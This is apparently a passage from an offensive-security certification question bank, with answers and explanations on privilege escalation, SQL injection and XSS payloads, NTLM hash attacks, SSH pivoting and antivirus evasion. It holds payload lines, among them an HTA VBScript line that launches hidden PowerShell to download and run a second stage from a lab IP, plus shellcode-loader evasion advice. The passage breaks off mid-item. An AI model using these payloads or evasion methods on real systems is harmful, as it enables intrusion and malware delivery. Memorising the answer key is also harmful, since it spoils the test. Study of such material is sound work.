You are enumerating a Linux host and find that UDP port 161 responds to SNMP queries with the community string 'public'. Which action yields the most useful reconnaissance data for planning later exploitation?

A.Run snmpwalk against the device to dump the MIB tree and extract system and interface information.
B.Send SNMP traps to the device to force it to report its running configuration.
C.Use the community string to authenticate to the device over SSH on port 22.
D.Attempt an SNMP write operation using the same community string to alter device configuration.
AnswerA

With a valid read-only community string, snmpwalk traverses the Management Information Base and returns system description, interfaces, routing tables, and sometimes process or user data. This structured output directly feeds later phases by revealing OS versions, network topology, and potential pivot points, making it the highest-value follow-up action here.

Why this answer

A working SNMP community string grants read access to the Management Information Base, and snmpwalk systematically dumps that tree. The resulting system descriptions, interface listings, and routing data give concrete enumeration value, exposing OS details and network layout that guide subsequent exploitation far better than any write, authentication, or trap-based approach.

Exam trap

The trap here is treating an SNMP community string as a reusable credential for other services instead of a read key for the MIB.

82
MCQmedium

You have gained a low-privileged shell on a Windows system and discovered a service running as 'LocalSystem' with an unquoted executable path containing spaces. Which action is the most direct way to escalate privileges?

A.Restart the service immediately to trigger a buffer overflow.
B.Overwrite the existing service executable with your payload.
C.Place a malicious binary at a location in the unquoted path that the user can write to.
D.Modify the Windows Registry to point the service to a new location.
AnswerC

When a path is unquoted, Windows searches for the executable by adding .exe to parts of the string. If the path is C:\Program Files\My App\service.exe, Windows checks C:\Program.exe first. If you place a malicious binary there, the system will execute it as SYSTEM when the service starts.

Why this answer

Unquoted service paths are vulnerable because Windows attempts to resolve the path by interpreting spaces as delimiters. By placing a malicious executable at an intermediate folder in the path, the service manager executes your binary with SYSTEM privileges upon restart. Identifying and exploiting these paths is a foundational skill for post-exploitation, allowing attackers to elevate from standard user to the highest possible integrity level without needing complex kernel exploits.

Exam trap

Candidates often try to modify the entire service path or rewrite system files instead of exploiting the space-delimited path resolution logic by dropping a binary in an intermediate writable folder.

83
Multi-Selecthard

You are performing a client-side attack against a web application that uses a JSON Web Token (JWT) stored in localStorage for authentication. You have identified a stored XSS vulnerability. Which two actions could you perform to escalate privileges or maintain access? (Choose two.)

Select 2 answers
A.Inject a fake login form to capture the victim's credentials.
B.Overwrite the JWT in localStorage with a token from a different user account you control.
C.Modify the JWT in localStorage to change the user role to admin.
D.Use the XSS to perform authenticated actions on behalf of the victim, such as changing their password.
E.Exfiltrate the JWT from localStorage to an attacker-controlled server.
AnswersD, E

With XSS, you can execute JavaScript that makes requests to the application using the victim's session. Since the JWT is stored in localStorage, your script can read it and include it in API calls or simply rely on the application's own JavaScript to attach it. You can then perform privileged actions like changing the password, escalating your access. This is a form of session riding.

Why this answer

The two effective actions are exfiltrating the JWT from localStorage to an attacker-controlled server and using the XSS to perform authenticated actions on behalf of the victim. Exfiltration allows the attacker to impersonate the victim from their own machine, while performing actions directly in the victim's session can achieve immediate escalation, such as changing the password. Both leverage the XSS to access the token or the authenticated session.

Exam trap

The trap here is assuming that modifying the JWT in localStorage or injecting a fake login form would escalate privileges, when in fact the JWT is validated server-side and the victim is already authenticated, making those approaches ineffective.

84
MCQmedium

During a web application assessment, you identify a blind SQL injection vulnerability in a cookie parameter. The backend database is PostgreSQL. You want to determine the first character of the database name using a time-based injection. Which of the following payloads would correctly test if the first character is 'p' by causing a 5-second delay?

A.'; SELECT CASE WHEN (SELECT SUBSTRING(current_database(),1,1)='p') THEN BENCHMARK(5000000,MD5(1)) ELSE 0 END; --
B.'; SELECT CASE WHEN (SELECT SUBSTRING(database(),1,1)='p') THEN SLEEP(5) ELSE SLEEP(0) END; --
C.'; SELECT CASE WHEN (SELECT SUBSTRING(current_database(),1,1)='p') THEN pg_sleep(5) ELSE pg_sleep(0) END; --
D.'; IF (SELECT SUBSTRING(current_database(),1,1)='p') WAITFOR DELAY '0:0:5' --
AnswerC

This payload uses PostgreSQL's pg_sleep function within a CASE statement. It checks if the first character of the current database name is 'p'. If true, it sleeps for 5 seconds; otherwise, it sleeps for 0 seconds. This is a standard time-based blind SQL injection technique for PostgreSQL, and it will cause a measurable delay if the condition is met.

Why this answer

Time-based blind SQL injection on PostgreSQL requires using the pg_sleep function. The payload uses a CASE statement to conditionally execute pg_sleep(5) if the first character of the current database name is 'p'. This causes a 5-second delay, allowing the attacker to infer the character.

The other options use syntax from MySQL or SQL Server, which are incompatible with PostgreSQL.

Exam trap

The trap here is using database-specific functions from the wrong DBMS, such as SLEEP() or WAITFOR, instead of PostgreSQL's pg_sleep.

85
MCQmedium

During an authorized penetration test, you discover that a web application’s password reset page reflects the `email` parameter inside a JavaScript string literal with no output encoding. You want to execute arbitrary JavaScript in a victim’s browser when they click a crafted password-reset link. Which payload should you use?

A.`";alert(document.domain)//`
B.`<script>alert(document.domain)</script>`
C.`' onmouseover='alert(document.domain)`
D.`javascript:alert(document.domain)`
AnswerA

The email parameter is reflected inside a JavaScript string literal. Breaking out with a double quote, terminating the statement with a semicolon, and invoking alert() executes script in the page context. The trailing // comments out the remaining original script, avoiding syntax errors. This works because the reflection lacks JavaScript string escaping, not because of HTML context.

Why this answer

The reflection occurs inside a JavaScript string literal, so the payload must first break out of that string using a matching quote, then execute code. The double-quote-based payload with a comment terminator achieves this while preserving the rest of the script’s syntax. HTML-oriented payloads fail because the parser is already inside a script data state, not an HTML tag or attribute context.

Exam trap

The trap here is assuming any reflected input can be exploited with a generic HTML tag or attribute payload without first identifying the exact parsing context.

86
MCQmedium

During an internal penetration test you compromise a domain-joined workstation and recover a user's NTLMv2 hash via a forced authentication attempt. SMB signing is enforced on all servers, and the client will not initiate outbound SMB connections. You want to crack the credential offline rather than relay it. Which approach is most appropriate?

A.Use ntlmrelayx.py with the --no-smb-server flag to forward the authentication to a domain controller and dump the SAM database.
B.Use CrackMapExec with the --hash option to spray the netntlmv2 response across the domain and identify where the account is valid.
C.Use Responder in analyze mode to capture the challenge/response, then run Hashcat with mode 5600 against the captured netntlmv2 hash and a targeted wordlist.
D.Run Mimikatz with the sekurlsa::pth module to inject the captured NTLMv2 response into a new logon session and authenticate as the user.
AnswerC

NTLMv2 challenge/response pairs are stored in the netntlmv2 format, which Hashcat mode 5600 is designed to crack. Because SMB signing blocks relay and the client will not initiate outbound SMB, offline cracking is the viable path. Capturing in analyze mode avoids poisoning traffic you cannot use and keeps the evidence clean for the report.

Why this answer

The captured artifact is an NTLMv2 challenge/response, which is only useful for offline cracking. SMB signing prevents relay, and the client's outbound SMB restriction blocks additional capture avenues. Hashcat mode 5600 is the correct cracking mode for netntlmv2, and a targeted wordlist improves efficiency against a real user's password.

Exam trap

The trap here is assuming any captured NTLM material can be relayed or passed directly, when a challenge/response pair requires offline cracking and cannot be used as a hash for authentication.

87
MCQeasy

A junior penetration tester is preparing a payload for a Windows 10 target with Windows Defender enabled. The tester wants to avoid writing the payload to disk and decides to use a PowerShell one-liner that downloads and executes a script in memory. Which PowerShell feature allows the script to be executed directly from a downloaded string without saving it to a file?

A.Add-Type with a downloaded assembly.
B.Invoke-Expression (IEX) with a downloaded string.
C.Start-Process with the -FilePath parameter pointing to a URL.
D.Import-Module with a URL to a .psm1 file.
AnswerB

Invoke-Expression evaluates a string as PowerShell code in the current session. When combined with a download cradle such as (New-Object Net.WebClient).DownloadString('http://...'), the script is fetched into memory and executed immediately, leaving no file on disk. This is a common in-memory execution technique that helps evade file-based detection, though AMSI may still inspect the script content at runtime.

Why this answer

Invoke-Expression takes a string and runs it as PowerShell code. By pairing it with a download cradle, the tester can retrieve a script into memory and execute it without touching disk. This is a standard in-memory execution technique for PowerShell.

The other cmdlets either do not execute arbitrary PowerShell code, require local files, or are intended for different purposes such as loading .NET types or modules, so they do not fulfill the requirement.

Exam trap

The trap here is confusing cmdlets that can download content with those that can execute PowerShell code directly from a string, such as assuming Start-Process or Import-Module can run a script from a URL.

88
MCQmedium

A public exploit for a Windows service is written in Python and uses the 'impacket' library. On your Kali attacker machine, running it fails with an ImportError for impacket. What is the most appropriate next step?

A.Copy the impacket directory from a different tool's installation folder into the exploit's working directory.
B.Rewrite the exploit to use raw sockets so no external library is required.
C.Install the impacket package on Kali using the distribution's package manager or pip, then rerun the exploit.
D.Run the exploit with Python 2 instead of Python 3 to avoid the import error.
AnswerC

The ImportError means the impacket library is simply absent from the Python environment. Installing it through the distribution package manager or pip resolves the dependency directly, after which the exploit can run unchanged. This is the minimal, correct fix because the exploit's logic is not the problem.

Why this answer

The ImportError indicates a missing Python dependency, not a flaw in the exploit. Installing impacket through the package manager or pip restores the required protocol library and lets the script run as written. Rewriting the exploit, changing interpreter versions, or copying library folders all introduce new problems without addressing the missing package.

Exam trap

The trap here is treating a missing Python dependency as a reason to rewrite or downgrade the exploit, when the correct fix is simply installing the library.

89
Multi-Selecthard

During a Windows privilege escalation assessment, you encounter a service with an unquoted service path: 'C:\Program Files\Vulnerable Service\service.exe'. The service runs as LocalSystem. Which TWO conditions must be true for you to successfully exploit this unquoted service path? (Choose two.)

Select 2 answers
A.The service must be configured to start automatically.
B.You must be able to restart the service or trigger a system reboot.
C.You must have write permissions to a directory that appears earlier in the path.
D.The service binary must be missing from its intended location.
E.You must have administrative privileges to exploit the service.
AnswersB, C

After placing the malicious binary, the service must execute it. This requires the service to start or restart. If you cannot restart the service yourself, waiting for a system reboot may also trigger it if the service starts automatically. Without execution, the exploit does not escalate privileges.

Why this answer

To exploit an unquoted service path, you need write access to a directory that Windows searches before the legitimate binary, and you must be able to cause the service to execute (by restarting it or rebooting). The other conditions are not required: the service can be manual, the binary can be present, and you do not need admin rights.

Exam trap

The trap here is thinking the service must be automatic or the binary missing; actually, write access to an earlier directory and the ability to trigger execution are the critical factors.

90
MCQmedium

You have an SSH dynamic forward running on port 1080 to a compromised Linux host, and you want to use it with a tool that supports SOCKS5 natively. Which environment variable or configuration is most appropriate to direct the tool through the proxy without using proxychains?

A.Set the ALL_PROXY environment variable to 127.0.0.1:1080.
B.Configure the tool to use a PAC file that points to 127.0.0.1:1080.
C.Use the tool's native SOCKS5 option, such as --proxy socks5://127.0.0.1:1080 or the equivalent for that tool.
D.Set the http_proxy environment variable to socks5://127.0.0.1:1080.
AnswerC

Tools that support SOCKS5 natively provide a command-line option or configuration setting to specify the proxy address and port. For example, curl uses --proxy socks5://127.0.0.1:1080, and many others have similar flags. This is the most direct and reliable way to route the tool's traffic through the SSH dynamic forward without additional wrappers.

Why this answer

When a tool supports SOCKS5 natively, the cleanest approach is to use its built-in proxy option, specifying the SOCKS5 scheme and the local address and port of the SSH dynamic forward. This avoids the limitations of LD_PRELOAD-based wrappers and ensures the tool handles proxy negotiation correctly. Environment variables can work in some cases but are less consistent across different tools and libraries.

Exam trap

The trap here is assuming that setting a generic proxy environment variable will work for all tools, when native SOCKS support is more reliable and explicit.

91
MCQmedium

You are performing a network scan on a client segment and notice that a host responds to ICMP echo requests but shows all TCP ports as 'filtered' when using Nmap. Which conclusion is most accurate?

A.The target machine is powered off and the ICMP response is generated by a gateway device.
B.The target host is running a non-standard TCP/IP stack that ignores all incoming connection attempts.
C.A network-based firewall is likely dropping incoming TCP packets while allowing ICMP traffic to pass through.
D.The network interface on the target machine is misconfigured and unable to process TCP/IP traffic.
AnswerC

Nmap reports 'filtered' when it cannot determine if a port is open because probes are blocked. Since ICMP succeeds, the host is alive, but TCP packets are being dropped by a firewall. This is a common scenario in enterprise environments where ICMP is permitted for monitoring but TCP access is restricted.

Why this answer

The 'filtered' status indicates that a firewall or packet-filtering device is likely intercepting the TCP SYN packets and dropping them or sending prohibited ICMP error messages. Since the host responds to ICMP, the host is live, but the network path or host-based firewall prevents TCP probing. Understanding this distinction is critical for pivoting strategies and determining if the target's attack surface is truly closed or merely protected by perimeter security controls.

Exam trap

Candidates often assume the host is down or the scan is faulty because ports show as filtered, failing to recognize that ICMP responses confirm the host is active despite TCP-level blocking.

92
MCQmedium

You are enumerating a Linux target and discover that TCP port 2049 is open. You run `showmount -e 192.168.1.100` and see that the `/home` directory is exported to everyone. What is the most significant security risk this configuration presents?

A.The NFS service is vulnerable to a buffer overflow that allows remote code execution.
B.An attacker can use the NFS share to perform a denial-of-service attack by filling the disk.
C.The NFS share allows anonymous FTP access to the same directory.
D.An attacker can mount the share and read or modify any user's home directory files, potentially leading to privilege escalation.
AnswerD

When NFS exports a directory to everyone (i.e., world-readable and writable), any remote attacker can mount it without authentication. This grants access to all files within /home, including sensitive data like SSH keys, configuration files, and scripts. If writable, an attacker could inject malicious code or modify authorized_keys to escalate privileges.

Why this answer

An NFS export to everyone allows any attacker to mount the share without authentication, gaining read and write access to the /home directory. This can lead to theft of SSH keys, modification of scripts, or insertion of malicious code, ultimately enabling privilege escalation or lateral movement. The other options either describe unrelated vulnerabilities or less severe impacts.

Exam trap

The trap here is focusing on potential software vulnerabilities or DoS when the real issue is the misconfigured export that grants unauthenticated access to sensitive user data.

93
MCQhard

You are reviewing a public exploit for a Linux-based web application. The exploit script contains a function that constructs a payload using a format string vulnerability. Which of the following best describes the primary risk of using this exploit without modification on a target with a different libc version?

A.The exploit may trigger a stack canary check, which is not present in the original environment.
B.The format string offset may differ, causing the exploit to write to an incorrect memory address.
C.The addresses of libc functions such as system() may differ, causing the exploit to jump to an invalid location.
D.The format string vulnerability may be patched in the newer libc, rendering the exploit ineffective.
AnswerC

Different libc versions have different function addresses due to compilation and ASLR. If the exploit hardcodes addresses from one libc, it will fail on another. This is a common issue when using public exploits across systems with different libc versions.

Why this answer

When an exploit relies on hardcoded addresses of libc functions, those addresses are specific to the libc version used during development. On a target with a different libc, the addresses will differ, causing the exploit to fail or crash. This is a common pitfall when using public exploits across varied environments.

Exam trap

The trap here is assuming that the format string offset is the main issue, when the more critical problem is the changing addresses of libc functions.

94
MCQeasy

You download a public exploit from Exploit-DB for a known vulnerability in a web application. Before running it against a client's production server, which action is the MOST appropriate next step?

A.Run the exploit immediately because Exploit-DB entries are verified by OffSec.
B.Ask the client to disable their antivirus so the exploit runs without interference.
C.Review the exploit's source code to understand its actions and test it in a lab environment first.
D.Submit the exploit to VirusTotal to confirm it is not malicious, then run it.
AnswerC

Public exploits may contain destructive payloads, hardcoded callbacks, or backdoors. Reviewing the source reveals what the code does, and testing in a lab confirms behavior without risking the client's production system. This aligns with professional penetration testing practice and the OSCP emphasis on understanding and validating tools before use.

Why this answer

Public exploits are not inherently trustworthy. Reviewing the source reveals destructive actions, unexpected network callbacks, or hidden backdoors, and lab testing validates behavior safely. Only after understanding the exploit should it be considered for use against a production target, consistent with professional and OSCP-aligned methodology.

Exam trap

The trap here is trusting a public exploit because it came from a well-known repository, when repositories host community submissions that are not guaranteed safe.

95
MCQeasy

In the context of password cracking, what is a 'rule' in tools like Hashcat or John the Ripper?

A.A predefined security policy set by the organization to ensure password complexity.
B.A transformation applied to dictionary words to simulate common password modifications.
C.A configuration setting that defines the maximum length of the cracked password.
D.A list of known leaked passwords that the tool compares against the hash directly.
AnswerB

Rules are a set of instructions applied to words in a dictionary. For example, a rule might convert 'password' into 'Password123!'. This significantly increases the effectiveness of a dictionary attack by covering common user habits like capitalizing the first letter or appending special characters to a base word.

Why this answer

Rules allow attackers to transform wordlist entries into more complex passwords, such as adding numbers, changing casing, or substituting characters. This is a critical technique because it allows a small wordlist to cover a much larger search space of possible passwords. Mastering rules is essential for efficient credential recovery, as it enables the simulation of common user password creation habits without needing massive, unmanageable wordlists.

96
MCQhard

You are crafting a malicious HTML Application (.hta) to deliver to a Windows user during a phishing engagement. When the file is opened, you want it to execute a PowerShell download cradle that fetches a second-stage payload. Which VBScript construct inside the HTA most directly spawns the hidden PowerShell process?

A.CreateObject("WScript.Network").MapNetworkDrive "Z:", "\\10.10.10.5\share"
B.CreateObject("MSXML2.XMLHTTP").Open "GET", "http://10.10.10.5/a.ps1", False
C.CreateObject("Scripting.FileSystemObject").OpenTextFile "http://10.10.10.5/a.ps1"
D.CreateObject("WScript.Shell").Run "powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.5/a.ps1')", 0, False
AnswerD

WScript.Shell.Run launches the specified command line, and the window-style argument 0 hides the console while False returns immediately without waiting. Embedding a PowerShell download cradle this way makes the HTA fetch and execute the second stage transparently to the user. This is the canonical construct used when an HTA must silently invoke PowerShell on open.

Why this answer

An HTA executes VBScript or JScript in the mshta.exe host, which exposes the WScript object model. Using WScript.Shell.Run with the hidden window flag executes the PowerShell download cradle without displaying a console, letting the HTA silently retrieve and run the next-stage payload from the attacker's HTTP server.

Exam trap

The trap here is assuming that merely creating a COM object such as XMLHTTP or FileSystemObject performs the network fetch and execution, when in fact an explicit process-launch call is required.

97
MCQmedium

During an internal penetration test, you compromise a Linux host that has outbound SSH access to your attacking machine but cannot directly reach an internal Windows server on 10.10.10.5:445. You need to forward SMB traffic through the compromised host so that your local tools can connect to 10.10.10.5:445. Which command should you run from your attacking machine to create the required tunnel?

A.ssh -R 127.0.0.1:4450:10.10.10.5:445 user@compromised-host
B.ssh -D 127.0.0.1:4450 user@compromised-host
C.ssh -L 10.10.10.5:445:127.0.0.1:4450 user@compromised-host
D.ssh -L 127.0.0.1:4450:10.10.10.5:445 user@compromised-host
AnswerD

This command creates a local port forward from your attacking machine's loopback interface on port 4450 to 10.10.10.5:445 through the compromised host. Because the compromised host can reach the internal Windows server, the SSH server relays the connection. You would then point your SMB client to 127.0.0.1:4450 to access the internal service.

Why this answer

A local port forward with -L listens on your attacking machine and forwards through the SSH server to a destination reachable from that server. The syntax is -L [bind_address:]local_port:target_host:target_port. Here, the compromised host can reach 10.10.10.5:445, so binding locally and pointing the forward at the internal SMB service provides the required access.

Exam trap

The trap here is confusing local and remote port forwarding directions, leading to a tunnel that listens on the pivot host instead of on the attacking machine.

98
MCQmedium

During a stack-based buffer overflow exploitation attempt in a Win32 environment, you notice that your shellcode execution fails because certain memory addresses contain null bytes (0x00). Which component of the exploit development process is primarily responsible for identifying and mitigating bad characters?

A.Generating a cyclic pattern using pattern_create.rb to determine the precise offset required to overwrite the saved instruction pointer.
B.Analyzing memory contents in a debugger to find a stable return-oriented programming gadget pointer.
C.Sending a byte array from 0x00 to 0xFF into the vulnerable buffer and inspecting memory to see which bytes are altered or truncated.
D.Compiling the exploit script with Python to encode the payload using a standard XOR-based encoding scheme.
AnswerC

Sending a comprehensive byte array allows you to observe how the target application handles each hex value in real time. If a function stops copying data prematurely, the offending byte is identified as a restriction and must be avoided in your final payload.

Why this answer

Identifying bad characters is a critical step in buffer overflow development because application functions or memory copy routines may terminate prematurely upon encountering values like null bytes. During the discovery phase, testers systematically send all byte arrays to analyze how memory handles specific inputs, ensuring subsequent shellcode generation avoids breaking the exploit chain and successfully achieves remote code execution.

Exam trap

Candidates often select generic debugging or fuzzing steps instead of the specific byte-array comparison method required to isolate truncated bad characters in memory.

99
Multi-Selectmedium

Which THREE of the following are essential steps when manually exploiting a stack-based buffer overflow?

Select 3 answers
A.Identifying the crash offset by using a pattern generator.
B.Calculating the precise offset for the return address.
C.Disabling all firewall rules on the victim machine.
D.Identifying bad characters to prevent payload truncation.
E.Upgrading the target application to the latest version.
AnswersA, B, D

Using a unique cyclic pattern allows you to precisely determine the number of bytes required to overwrite the return address. This step is critical because any error in calculating the offset will cause the exploit to crash the program at the wrong location or fail to overwrite the target.

Why this answer

Exploiting a buffer overflow requires a structured methodology to ensure the payload executes correctly. The process begins with identifying the crash and the exact offset to the return address. Once the offset is found, the investigator must locate a viable jump address and filter for bad characters that would break the payload.

Finally, the shellcode is generated and tested to confirm that execution is successfully redirected to the desired payload.

Exam trap

Candidates often skip the 'bad character' identification phase, which leads to shellcode truncation and exploit failure. They assume standard shellcode will work in every application environment without modification.

100
MCQmedium

You have successfully obtained a NTLM hash dump from a domain controller. You intend to perform a pass-the-hash attack to move laterally. What is the most critical requirement for this technique to succeed in a modern Windows environment?

A.The target system must have the Kerberos pre-authentication disabled for the user account.
B.The victim machine must have the 'Restricted Admin' mode enabled in the RDP configuration.
C.The authentication protocol must permit NTLM or legacy authentication methods to facilitate the hash usage.
D.The target machine must be running a version of Windows older than Windows Server 2012.
AnswerC

Pass-the-hash depends on the target service or system accepting NTLM authentication. If an environment is strictly configured to use Kerberos-only authentication and NTLM is disabled via Group Policy or security settings, the hash will fail to authenticate because the system will reject the NTLM challenge-response sequence entirely.

Why this answer

Pass-the-hash (PtH) relies on the fact that authentication protocols like NTLM require the hash itself rather than the cleartext password. Understanding this mechanism is vital because it allows attackers to impersonate users without needing to crack complex passwords. The technique effectively bypasses the need for plaintext credentials, making it a staple for lateral movement in internal penetration tests when local administrator or service account access is achieved.

Exam trap

Test-takers frequently assume that obtaining an NTLM hash guarantees successful lateral movement, forgetting that legacy protocol restrictions or hardening can block pass-the-hash entirely.

101
MCQeasy

You have obtained a copy of a Windows SAM file from a compromised host. You want to extract the NTLM hashes for offline cracking. Which of the following tools is specifically designed for this task?

A.secretsdump.py
B.Mimikatz
C.Responder
D.Hydra
AnswerA

secretsdump.py, part of Impacket, is designed to extract secrets from Windows systems, including SAM files, LSA secrets, and NTDS.dit. It can parse a standalone SAM file and output NTLM hashes for offline cracking. This makes it the appropriate tool for the task described.

Why this answer

Extracting NTLM hashes from a SAM file is a common post-exploitation step. secretsdump.py from Impacket is specifically built to parse SAM, SYSTEM, and other registry hives to recover local account hashes. Mimikatz focuses on memory extraction, Responder captures network traffic, and Hydra performs online brute force. Therefore, secretsdump.py is the correct tool for offline SAM parsing.

Exam trap

The trap here is assuming that any credential dumping tool can handle an offline SAM file, when some tools are designed for live memory extraction or network attacks.

102
MCQmedium

While pivoting through a compromised host, you want to route an Impacket tool through a SOCKS proxy you established with SSH dynamic forwarding. The tool does not support SOCKS natively. Which approach allows the Impacket tool to use the proxy correctly?

A.Add a static route on the attacking machine for the internal subnet pointing at the SSH server's IP address.
B.Set the HTTP_PROXY environment variable to point at the SSH dynamic forwarding port before launching the Impacket tool.
C.Run the Impacket tool under proxychains, ensuring the proxychains configuration lists the SOCKS proxy and uses the appropriate proxy type.
D.Re-run the SSH session with the -L flag instead of -D so Impacket can connect directly to the internal host through a fixed local port.
AnswerC

Proxychains intercepts the tool's socket calls and redirects them through the configured SOCKS proxy, which bridges the tool to the internal network. Because Impacket lacks native SOCKS support, wrapping it in proxychains is the standard method. The configuration must specify the correct proxy type and port for the SSH dynamic forward to work.

Why this answer

Proxychains is the standard bridge for tools that cannot speak SOCKS. It hooks the process's network calls and forwards them to the SOCKS listener created by SSH dynamic forwarding, allowing Impacket tools to reach internal services. The configuration file must correctly identify the proxy address, port, and SOCKS version, otherwise connections fail or leak outside the tunnel.

Exam trap

The trap here is assuming any proxy environment variable will redirect a raw-socket tool through a SOCKS listener created by SSH dynamic forwarding.

103
Multi-Selecthard

Which TWO of the following statements correctly describe the function of a NOP sled in a buffer overflow exploit?

Select 2 answers
A.It provides a wider range of addresses for successful jump redirection.
B.It acts as a primary payload to bypass antivirus software.
C.It executes complex arithmetic to prepare registers for shellcode.
D.It ensures the instruction pointer reaches the shellcode despite offset variances.
E.It is required to disable hardware-based stack protections.
AnswersA, D

By placing a large NOP sled before the shellcode, the exact memory address required for the redirect becomes less precise. As long as the instruction pointer lands anywhere within the sled, the CPU execution flow will naturally slide down until it reaches the start of the actual functional shellcode payload.

Why this answer

A NOP sled (No-Operation) is a sequence of instructions that do nothing but pass control to the next instruction. It is critical for increasing the reliability of an exploit by providing a larger landing zone for the instruction pointer. If the exact address of the shellcode fluctuates due to environment variables or minor stack shifts, the NOP sled ensures the CPU eventually slides into the functional payload.

Exam trap

Candidates often believe the NOP sled is the payload itself or that it directly executes code. They fail to understand it is merely a landing pad for the instruction pointer.

104
MCQmedium

During enumeration of a Windows host, you run `whoami /priv` and see that the current user has SeImpersonatePrivilege enabled. You have also uploaded a custom executable to C:\Windows\Temp. Which privilege escalation technique is most directly applicable in this situation?

A.Exploit the SeImpersonatePrivilege using a tool such as PrintSpoofer or RoguePotato to impersonate a SYSTEM token.
B.Dump LSASS memory using a tool like Mimikatz to extract plaintext credentials and then use them to log in as an administrator.
C.Modify the service binary path of a running service to point to your uploaded executable and restart the service.
D.Use `runas /savecred` to execute a command as the local administrator without knowing the password.
AnswerA

SeImpersonatePrivilege allows a process to impersonate a token, and tools like PrintSpoofer or RoguePotato abuse this by coercing a privileged service to authenticate, then capturing and impersonating its token. This is a well-known privilege escalation path when the privilege is enabled, and it directly applies here.

Why this answer

SeImpersonatePrivilege permits a process to impersonate another user's token, and tools like PrintSpoofer exploit this by tricking a privileged service into connecting to a controlled endpoint, then impersonating the resulting token. This is a direct escalation path when the privilege is enabled, making it the most applicable technique here.

Exam trap

The trap here is assuming that SeImpersonatePrivilege alone allows direct code execution as SYSTEM without the need for token coercion techniques.

105
MCQhard

You are assessing a web application that reflects user input into an HTML attribute value without quotes, such as `<input value=USER_INPUT>`. Which payload is most likely to execute JavaScript in the victim’s browser?

A.`onmouseover=alert(document.domain)`
B.`' onmouseover='alert(document.domain)`
C.`javascript:alert(document.domain)`
D.`"><script>alert(document.domain)</script>`
AnswerA

In an unquoted attribute context, whitespace separates attributes. Injecting onmouseover=alert(document.domain) creates a new event handler attribute on the input element. When the user moves the mouse over the input, the JavaScript executes. No quote is needed because the attribute value is unquoted, and the payload uses a space to break out of the value and start a new attribute.

Why this answer

In an unquoted HTML attribute, attribute boundaries are defined by whitespace. Injecting a space followed by a new event handler attribute, such as onmouseover=alert(document.domain), adds executable JavaScript to the element. When the corresponding event fires, the code runs.

Payloads that rely on quotes or script tags fail because the parser is already inside an attribute value and does not interpret them as structure.

Exam trap

The trap here is applying a quoted-attribute or HTML-body payload to an unquoted attribute context, where whitespace rather than quotes determines attribute boundaries.

106
MCQmedium

During an internal penetration test, you compromise a Linux machine that acts as a pivot host, but the target internal web server only permits HTTP traffic from localhost. Which local port forwarding syntax allows you to securely access this web application via your attacking machine?

A.ssh -R 8080:10.0.4.5:80 user@pivot-host
B.ssh -D 1080 user@pivot-host
C.ssh -L 8080:10.0.4.5:80 user@pivot-host
D.ssh -w 0:0 user@pivot-host
AnswerC

This command correctly establishes local port forwarding by binding port 8080 on your attacking machine and forwarding traffic through the pivot host to the internal web server at 10.0.4.5 on port 80, satisfying the localhost restriction requirement.

Why this answer

Local port forwarding binds a port on your attacking machine and forwards any connections through the compromised pivot host to the destination service. This technique bypasses strict perimeter controls by tunneling traffic securely across an existing SSH session, enabling interaction with internal services restricted strictly to localhost interfaces.

Exam trap

Candidates frequently confuse local port forwarding with remote port forwarding, incorrectly choosing the reverse direction when trying to access internal targets from the attacker workstation.

107
MCQmedium

A penetration tester has written a C# loader that reads shellcode from a file, allocates memory with VirtualAlloc using PAGE_EXECUTE_READWRITE, and executes it via CreateThread. The loader is not detected by static antivirus signatures, but when run on a Windows 10 host with Microsoft Defender's real-time protection enabled, the process is terminated shortly after execution begins. The tester suspects behavior-based detection. Which modification is MOST likely to prevent this behavioral detection while preserving execution?

A.Replace VirtualAlloc with VirtualAllocEx and allocate memory in a remote process.
B.Encrypt the shellcode with AES and decrypt it at runtime using a hardcoded key.
C.Add a call to Sleep with a random delay before executing the shellcode.
D.Use separate VirtualAlloc calls with PAGE_READWRITE then VirtualProtect to PAGE_EXECUTE_READ before execution.
AnswerD

Allocating memory as RWX is a strong indicator of malicious behavior. By first allocating with PAGE_READWRITE, writing the shellcode, and then changing the protection to PAGE_EXECUTE_READ via VirtualProtect, the loader avoids leaving an RWX region, which many behavioral engines flag. This technique is a common evasion step and preserves local execution without introducing remote process operations.

Why this answer

The loader is being flagged behaviorally because it allocates memory with both write and execute permissions (RWX), a pattern rarely seen in legitimate software. Separating allocation and execution by using PAGE_READWRITE followed by VirtualProtect to PAGE_EXECUTE_READ removes the RWX indicator while still allowing shellcode execution. Other options either do not change the behavioral footprint or introduce additional suspicious activity.

Exam trap

The trap here is assuming that encrypting the shellcode or adding a delay will bypass behavioral detection, when the real trigger is the RWX memory allocation pattern.

108
MCQmedium

Which of the following describes the 'GPP Password' vulnerability?

A.A flaw in the Kerberos preauthentication mechanism
B.The storage of cleartext credentials in GPO XML files
C.The inability to enforce password complexity on GPOs
D.A failure in the Domain Controller's LDAP signing
AnswerB

GPP password vulnerability occurs when sensitive credentials stored in Group Policy XML files are encrypted using a publicly available static key. This allows anyone with read access to the SYSVOL share to decrypt the 'cpassword' attribute and obtain the cleartext password, facilitating unauthorized access to local administrator accounts.

Why this answer

Group Policy Preferences (GPP) allows administrators to manage local accounts on domain computers. In older versions of Windows, these passwords were encrypted with a static, publicly known AES key. If an attacker gains read access to the 'Groups.xml' file in the SYSVOL share, they can decrypt the 'cpassword' attribute, revealing the cleartext password of the local administrator account for the affected machine.

Exam trap

Candidates often assume GPP passwords are fully secure because they are encrypted. They overlook that the encryption key is publicly known, making the 'encryption' effectively transparent to any attacker with access.

109
Multi-Selectmedium

A penetration tester is building a custom shellcode runner in C for a PEN-200 lab. The compiled loader is being flagged by static analysis before execution. The tester wants to modify the loader's source so the resulting binary is less likely to match signatures, without changing the shellcode's behavior. Which two changes best serve this goal? (Choose two.)

Select 2 answers
A.Statically link the C runtime library so the loader has fewer external dependencies.
B.Add a large embedded PNG image resource to increase the binary's file size.
C.Encrypt the embedded shellcode with a simple XOR key and decrypt it in memory before execution.
D.Compile the loader with the /O2 optimization flag to reduce the binary's overall size.
E.Replace direct API calls with dynamically resolved function pointers using LoadLibrary and GetProcAddress.
AnswersC, E

Embedded plaintext shellcode is a strong static indicator because its bytes match known signatures. Storing the shellcode XOR-encrypted and decrypting it at runtime removes those recognizable bytes from the on-disk binary, so signatures targeting the shellcode no longer match. Behavior is preserved because the decrypted buffer is what executes, making this a direct way to reduce static detection while keeping functionality.

Why this answer

